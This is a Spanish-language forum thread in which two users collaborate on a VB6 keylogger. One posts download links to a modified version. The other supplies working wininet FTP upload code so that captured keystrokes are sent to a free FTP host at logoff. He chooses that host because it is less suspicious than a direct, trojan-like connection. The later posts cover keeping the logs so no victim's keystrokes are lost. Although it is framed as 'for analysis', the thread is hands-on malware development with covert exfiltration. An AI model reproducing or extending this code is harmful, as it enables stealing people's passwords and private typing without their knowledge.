keylogger en vb6 para analisis

Iniciado por lararich, 29 Septiembre 2014, 19:30 PM

0 Miembros y 1 Visitante están viendo este tema.

lararich

Tengan Todos un Estupendo Día

he aquí que voy directamente al grano

hace mas de tres años el usuario de taringa harrisonloco publicó en taringa un código
keylogger que el mismo denomino keylogger avanzado de hecho de avanzado no tiene mucho o nada dejo la referencia si os interesa:

http://www.taringa.net/posts/hazlo-tu-mismo/10731497/Como-hacer-un-keylogger-avanzado-en-vb6.html

sin embargo, me determine a examinarlo y encontré algunas inconsistencias que me propuse arreglar.

1. el código de la revieja publicación hacia que el keylogger se encargara de borrar los
datos capturados esto cada vez que iniciaba sesión dejaba la base de datos así: " "
lo cual no me pareció para nada, y lo corregí.

2. el usuario puso a grabar la fecha lo cual recargaba muchísimo el archivo de contenedor de capturas porque en cada captura dele con la fecha, yo lo que hice al respecto fue hacer que efectivamente grabara la fecha del evento al momento de iniciar sesión únicamente y no en cada captura de texto como lo había manejado el autor original.

3. cada pulsación de barra espacio marcaba un [SPACE] como esta tecla es mas que constante las cambie por un " " indicando la separación entre letra y letra.

lo que quiero decir es que el código no es de mi creación pero presento las mejoras y
el arreglo que dispuse hacer con el objetivo de que pueda servir para análisis de aquellos como yo, que recién empezamos a formarnos como guerreros de la programación contemporánea.

sin mas regadera, tenéis a continuación el nuevo código mejorado:


http://www.mediafire.com/download/ogaal5h7n0h27mq/keylogger_vb_ejemplo.zip






XresH

Cita de: lararich en 29 Septiembre 2014, 19:30 PM
Tengan Todos un Estupendo Día

he aquí que voy directamente al grano

hace mas de tres años el usuario de taringa harrisonloco publicó en taringa un código
keylogger que el mismo denomino keylogger avanzado de hecho de avanzado no tiene mucho o nada dejo la referencia si os interesa:

http://www.taringa.net/posts/hazlo-tu-mismo/10731497/Como-hacer-un-keylogger-avanzado-en-vb6.html

sin embargo, me determine a examinarlo y encontré algunas inconsistencias que me propuse arreglar.

1. el código de la revieja publicación hacia que el keylogger se encargara de borrar los
datos capturados esto cada vez que iniciaba sesión dejaba la base de datos así: " "
lo cual no me pareció para nada, y lo corregi.


2. el usuario puso a grabar la fecha lo cual recargaba muchísimo el archivo de contenedor de capturas porque en cada captura dele con la fecha, yo quite eso.

3. cada pulsación de barra espacio marcaba un [SPACE] como esta tecla es mas que constante las cambie por un " " indicando la separación entre letra y letra.

lo que quiero decir es que el código no es de mi creación pero presento las mejoras y
el arreglo que dispuse hacer con el objetivo de que pueda servir para análisis de aquellos como yo, que recién empezamos a formarnos como guerreros de la programación contemporánea.

sin mas regadera, tenéis a continuación el nuevo código mejorado:

http://www.mediafire.com/download/ogaal5h7n0h27mq/keylogger_vb_ejemplo.zip

El punto 1 depende, es decir, si cada vez que se finaliza sesion se envian los datos a un ftp, correo electronico, entre otros,no hay ninguna necesidad de conservarlos por lo que es conveniente que se reinicien para no "abultar" la base de datos y poder comenzar a salvar informacion con la db totalmente limpia.

PD: a la noche cuando llegue a casa reviso el codigo y edito con sugerencias si lo deseeeas.

Saludos.
[ - Si eres programador y quieres que tus proyectos esten en mi blog(con o sin source), consúltame! - ]
Entra A Mi Blog De Programación | | Dudas en este post :| | >>Clic para ir al Post<<

lararich

#2
Cita de: XresH en 29 Septiembre 2014, 19:48 PM
El punto 1 depende, es decir, si cada vez que se finaliza sesion se envian los datos a un ftp, correo electronico, entre otros,no hay ninguna necesidad de conservarlos por lo que es conveniente que se reinicien para no "abultar" la base de datos y poder comenzar a salvar informacion con la db totalmente limpia.

PD: a la noche cuando llegue a casa reviso el codigo y edito con sugerencias si lo deseeeas.

Saludos.


si le puedes generar código mas lógico del que ya tiene es bienvenido tu aporte, de hecho es la base fundamental de abrir este hilo, con lo del ftp poco entendi talvez porque nunca
he experimentado un keylogger destinado a almacenar en ftp de repente y tiene un gran sentido, si se destina a guardar en ftp mejor que borre y si se quiere almacenar en pc local que no borre porque talvez no todos los dias quicieramos chekear y chekear que hay pescado.

XresH presenta tu punto de vista y veremos, piensa en que si se apaga el pc donde reside el keylogger asaber si dara tiempo de realizar el envio programado al cerrar sesion a menos que reinicie en un tiempo determinado por alguno de los timer de visual basic que lo asisten, lo que no termino que recabar es el hecho de como se almacena en ftp la llegada de una y luego otra informacion nueva, no me lo imagino al pensar si tengo un fichero keylogger.txt generado del keylogger y para actualizarlo no se si borrará el actual fichero o solo añadirá la entrada nueva anexando los datos antiguos con los nuevos. nunca tuve ftp para algo asi por eso lo del enredo. disculpa

saludos

XresH

Si jamas viste lo de guardarlo en Ftp al finalizar sesion, voy a armar un codigo  y luego lo resubo a mediafire, asi ves como funciona, a su vez voy a colocar en el foro el metodo que utilize para realizar una conexion al Host gratuito que utilizamos como Ftp y asi poder alojar nuestro archivo sin necesidad de crear una conexion a determinado ordenador, que es mas sospechoso, ya que si intentaramos establecer una conexion hacia otra PC en concreto para luego transferir el archivo estariamos usando la misma base que en un troyano de conexion inversa.

Esta noche analizo el codigo y veo posibles mejoras, te comento que intentare continuar lo que programaste manteniendo el codigo original que expusiste y realizar un code mejorado adaptado a lo que estas programando, ya que por lo que he visto programamos distinto.

Saludos.
[ - Si eres programador y quieres que tus proyectos esten en mi blog(con o sin source), consúltame! - ]
Entra A Mi Blog De Programación | | Dudas en este post :| | >>Clic para ir al Post<<

XresH

Bueno te voy a exponer el codigo para realizar lo que te dije a traves de una conexion hacia un Ftp gratuito, el codigo lo extrai de un viejo sistema que tenia por ahi guardado, el codigo original no fue escrito por mi, es decir, lo tome de esta pagina:

http://www.bigresource.com/

No tengo con exactitud el link porque fue hace mucho, pero tengo seguridad que fue de esa web (por cierto, te la recomiendo)

El code original lo rearme para ser usado en mi aplicacion, pero ahora hice un codigo nuevo para mostrarte un ejemplo y lo puedas aplicar vos a un proyecto de prueba donde deberas modificarlo para que "encaje" en tu programa.

En el form tengo dos frames, uno con controles para conectar y otro para subir el archivo, esto reitero que es un ejemplo, nada va a ser visible (para el keylogger), tambien tene en cuenta que no es 100 % precisa, pero es una forma de base para que te guies, podrias hacer que al finalizar cada sesion se intente enviar los datos al Ftp, si hay exito reiniciar la db, sino resguardar.

primer frame tiene 3 textbox, y 1 boton de comando:


Código (vb) [Seleccionar]
Private Sub cmdConectar_Click()
With DatosConexion
     .User = txtUser.Text
     .Pass = txtPass.Text
     .NameFTP = txtNombreFTP.Text
     If IniConex(.User, .Pass, .NameFTP) = True Then
        MsgBox "conecto xD"
     Else
        MsgBox "revise los datos de conexion, no se pudo conectar", vbOKOnly + vbCritical, "Atencion: Error"
     End If
End With
End Sub


El segundo frame tiene 2 cajas de text y otro boton de comando:

Código (vb) [Seleccionar]
Private Sub cmdSubir_Click()
On Error GoTo errsub
ArchivoSub txtOrigen.Text, txtDestinoFTP
Exit Sub
errsub:
If Err.Number = 32755 Then Exit Sub
End Sub


Las funciones (y demas) las tengo en un modulo:

Código (vb) [Seleccionar]
Option Explicit
Private Declare Function FtpPutFile Lib "wininet.dll" Alias "FtpPutFileA" (ByVal hConnect&, ByVal lpszLocalFile$, ByVal lpszNewRemoteFile$, ByVal dwFlags&, ByVal dwContext&) As Boolean
Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" (ByVal hInternetSession&, ByVal sServerName$, ByVal nServerPort%, ByVal sUserName$, ByVal sPassword$, ByVal lService&, ByVal lFlags&, ByVal lContext&) As Long
Private Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent$, ByVal lAccessType&, ByVal sProxyName$, ByVal sProxyBypass$, ByVal lFlags&) As Long
Type ConnData
    User As String
    Pass As String
    NameFTP As String ' ejemplo "ftp.microsoft.com"
End Type
Public Function IniConex(Usuario$, Password$, NombreServer$) As Boolean
IniConex = False
TestConexion = InternetOpen(vbNullString, 0, vbNullString, vbNullString, 0)
If TestConexion = 0 Then
   MsgBox "No hay conexion a internet", vbOKOnly + vbCritical, "Atencion: Error"
   Exit Function
Else
   IniConex = True
   reConFtp = InternetConnect(TestConexion, NombreServer, 21, Usuario, Password, 1, IIf(True, &H8000000, 0), 0)
   If reConFtp Then
   Else
   MsgBox "datos erroneos, verifique pass, user y nombre de ftp", vbOKOnly + vbCritical, "Error"
   IniConex = False
   End If
End If
End Function
Public Sub ArchivoSub(unaRutaArchivo$, ArchivoRemm$)
Dim UpFtp As Boolean
UpFtp = FtpPutFile(reConFtp, unaRutaArchivo, ArchivoRemm, 1, 0)
If UpFtp Then
   MsgBox "archivo subido correctamente", vbOKOnly + vbInformation, "Finalizado"
Else
   MsgBox "error al subir", vbOKOnly + vbCritical, "Atencion: Error"
End If
End Sub


En otro modulo variables:

Código (vb) [Seleccionar]
Option Explicit
Public TestConexion&
Public reConFtp&
Public DatosConexion As ConnData


Si quieren el codigo fuente lo subi a mediafire:

https://www.mediafire.com/?u84zjhl8yb3d5b5

El codigo comprueba que haya internet para realizar seguidamente la conexion al Ftp establecido.

En el fuente esta un ejemplo con una cuenta que hice en un servidor gratuito, esta el user y pass colocados.

Cualquier duda con el codigo no dudes en consultar, si queres comentarios en la fuente lo hago pero es basico no lo veo necesario.

PD: es un code simple y con fallas, tampoco lo probe a fondo pero subir archivos los sube.

Saludos.
[ - Si eres programador y quieres que tus proyectos esten en mi blog(con o sin source), consúltame! - ]
Entra A Mi Blog De Programación | | Dudas en este post :| | >>Clic para ir al Post<<

lararich

XresH recibe un saludo

probe tu tool ftp, funciona estupensamente bien te Felicito esta chula, coloque alli texto.txt en tu ftp

sin embargo sigo confundido veras porque:

en cada subida que algo del mismo archivo esto es texto.txt lo que hace es guardar el
estado de la ultima subida del fichero texto.txt, ejemplo:

si dentro de texto.txt dice "esto es la primnera prueba" y lo envio pues asi queda obviamente.

pero XresH

si en la segunda subida el mismo fichero texto.txt ya dice "esto es la segunda prueba"
y lo envio la p`rimera informacion la estoy perdiendo.

entonces

este era el punto de critica constructiva en el post si el keylogger debería borrar los datos anteriores para establecer solo los registros de la ultima sesion, es poresto que yo hice que mi keylogger no borrara lo que ya contenia el Texto.txt que el genera.

quisiera supieras exactamente como es que intento explicar

tu dices debe borrar y mandar solo los datos de la ultima sesion para no saturar el registro, pero imagina si tardas una semana en revisar los registros cuantos pudo
haber borrado en cada sesion que inicie, recordemos hay muchas pc que no estan dia y noche corrido encendidas.

una vez mas recibe un saludo, y si estoy muy equivocado disculpa y considera jamas
utilice un ftp en relacion a keylogger pero me interesa mucho saber que procedimiento es mejor a todos nos interesa literalmente.

XresH

De eso se trata tu hilo, de analizar lo que se plantea, es un detalle que olvide, es cierto lo que decis, de todas maneras se puede realizar para obtener los archivos y definir si el mismo se esta duplicando, o bien, podrias guardar un nombre consecutivo:

Sesion 1: sesion1.txt
Sesion 2: sesion2.txt
Sesion 3: sesion3.txt
Sesion 4: sesion4.txt


Se entiende? de esa forma tendrias en orden cada sesion, si vos queres que sea en un mismo archivo, es cuestion de modificar algunas cosas y añadir otras.

Yo no digo de borrar o enviar, esto fue a modo de ejemplo, a lo que voy es que al enviar PUT al servidor como parametro sobreescribe si el mismo es existente.

Podes enterarte buscando un poco en google sobre los comandos Ftp desde Visual 6.

Podriamos usar tambien Send como parametro.
Ahi tienes una tarea, poder realizar a tu gusto si son archivos consecutivos como te dije o de actualizacion del mismo, no es dificil, cualquier duda intentare ayudarte.

PD: Podriamos intentar hacerlo de las dos formas para que practiques un poco.(so las que se me ocurrieron de momento, podria haber alguna otra)

Saludos.
[ - Si eres programador y quieres que tus proyectos esten en mi blog(con o sin source), consúltame! - ]
Entra A Mi Blog De Programación | | Dudas en este post :| | >>Clic para ir al Post<<